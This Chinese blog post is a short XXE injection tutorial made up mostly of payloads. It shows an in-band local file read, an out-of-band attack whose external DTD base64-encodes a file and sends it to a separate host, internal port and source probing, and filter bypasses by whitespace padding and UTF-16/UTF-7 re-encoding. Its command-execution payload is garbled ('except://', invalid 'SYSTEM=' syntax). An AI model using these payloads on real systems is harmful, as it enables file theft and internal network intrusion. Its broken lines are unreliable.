侧边栏壁纸
博主头像
pingc

今天不学习,明天变乐色。

  • 累计撰写 9 篇文章
  • 累计创建 1 个标签
  • 累计收到 1 条评论
标签搜索

XXE漏洞小解

pingc
2022-05-17 / 0 评论 / 0 点赞 / 332 阅读 / 2,537 字

什么是XXE注入

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是因为网站有接受xml作为参数,且没有对参数进行过滤,导致黑客可以上传恶意xml代码。

有回显注入

原传参xml

<user><username>username</username><password>pasword</password></user>

返回

<result><code>1</code><msg>username</msg></result>

可以看出username是回显点,那么我们提交恶意xml,并把内容回显在username处

读取C盘下的1.txt文件,并回显出来
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [ 
<!ENTITY pingc SYSTEM "file:///c:/1.txt" >
]>
<user><username>&pingc;</username><password>password</password></user>

无回显注入

原传参xml

<user><username>username</username><password>pasword</password></user>

返回

<result><code>1</code></result>

可以看出无回显点,那么使用参数实体类来获取结果
请求外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [
<!ENTITY % remote SYSTEM "http://192.168.1.11/test.dtd">
 %remote;
%trick;
]>

外部DTD内容
嵌套的ENTITY,内部的%号要进行实体编码成&#x25,对读取的内容进行base64编码,防止浏览器解析问题导致失败

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % all "<!ENTITY &#x25; trick SYSTEM 'http://192.168.1.11?xxe=%payload;'>">
%all;

该代码会对http://192.168.1.11发起访问,xxe参数传递的值就是回显内容
查看192.168.1.11服务器上的日志就可以看到回显内容

利用代码

命令执行

需要安装except模块

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<pingc>&xxe;</pingc>

内网ip探测与端口

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.1.10:22"> ]>
<pingc>&goodies;</pingc>

内网系统源码探测

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.1.9/bWAPP/login.php"> ]>
<pingc>&goodies;</pingc>

绕过

填充空格绕过

<?xml                                                                                    





version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [ 
<!ENTITY pingc SYSTEM "file:///c:/1.txt" >
]>
<user><username>&pingc;</username><password>password</password></user>

编码绕过

linux下运行以下命令

UTF-8 -> UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

UTF-8 -> UTF-7

cat payload.xml | iconv -f utf-8 -t utf-7 > payload.8-7.xml
0

评论区